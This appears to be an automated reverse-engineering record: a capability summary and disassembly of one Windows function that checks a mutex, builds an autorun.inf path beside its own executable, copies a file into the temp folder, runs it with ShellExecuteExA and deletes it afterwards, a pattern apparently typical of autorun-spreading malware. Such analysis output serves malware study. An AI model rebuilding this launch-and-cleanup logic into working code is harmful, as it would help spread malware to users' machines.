Function at 0x401000
Capabilities:
Check if file exists
Check mutex on windows
Copy file
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7d0
push ebx
push esi
push edi
push 9
pop ecx
mov esi, str.8F2613EA_0F96_48e6_BB60_0B5299C2AC15
lea edi, [ebp - 0x8c]
lea eax, [ebp - 0x8c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x401285
and byte [ebp - 0x4a0], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x49f]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x4a0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x4a0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
and byte [ebp - 0x190], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x18f]
and byte [ebp - 0x7d0], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xcb
xor eax, eax
lea edi, [ebp - 0x7cf]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x4a0]
push str.autorun.inf
push eax
mov ebx, str._s_s
lea eax, [ebp - 0x190]
push ebx
push eax
call esi
lea eax, [ebp - 0x7d0]
push eax
lea eax, [ebp - 0x190]
push eax
call fcn.0040128e
add esp, 0x18
test eax, eax
je 0x401108
and byte [ebp - 0x64], 0
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x63]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x6cb]
push eax
call fcn.00401307
pop ecx
test eax, eax
pop ecx
je 0x401116
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x401285
lea eax, [ebp - 0x5c6]
push eax
lea eax, [ebp - 0x4a0]
push eax
lea eax, [ebp - 0x190]
push ebx
push eax
call esi
and byte [ebp - 0x298], 0
add esp, 0x10
xor eax, eax
lea edi, [ebp - 0x297]
push 0x41
pop ecx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x298]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x298]
push eax
call sub.MSVCRT.dll_strlen
cmp byte [ebp + eax - 0x299], 0x5c
pop ecx
jne 0x401183
lea eax, [ebp - 0x298]
push eax
call sub.MSVCRT.dll_strlen
and byte [ebp + eax - 0x299], 0
pop ecx
and byte [ebp - 0x39c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x39b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x5c6]
push eax
lea eax, [ebp - 0x298]
push eax
lea eax, [ebp - 0x39c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x39c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4011d3
lea eax, [ebp - 0x39c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x5c6]
push eax
lea eax, [ebp - 0x4a0]
push eax
lea eax, [ebp - 0x190]
push ebx
push eax
call esi
add esp, 0x10
xor esi, esi
lea eax, [ebp - 0x39c]
push esi
push eax
lea eax, [ebp - 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0xe
mov ebx, eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x3c]
cmp ebx, esi
rep stosd dword es:[edi], eax
mov dword [ebp - 0x40], 0x3c
mov dword [ebp - 0x3c], 0x40
mov dword [ebp - 0x38], esi
lea eax, [ebp - 0x39c]
jne 0x401232
lea eax, [ebp - 0x190]
mov dword [ebp - 0x30], eax
mov eax, 0x403090
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x28], esi
push eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x40126b
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
cmp ebx, esi
je 0x401285
lea eax, [ebp - 0x39c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10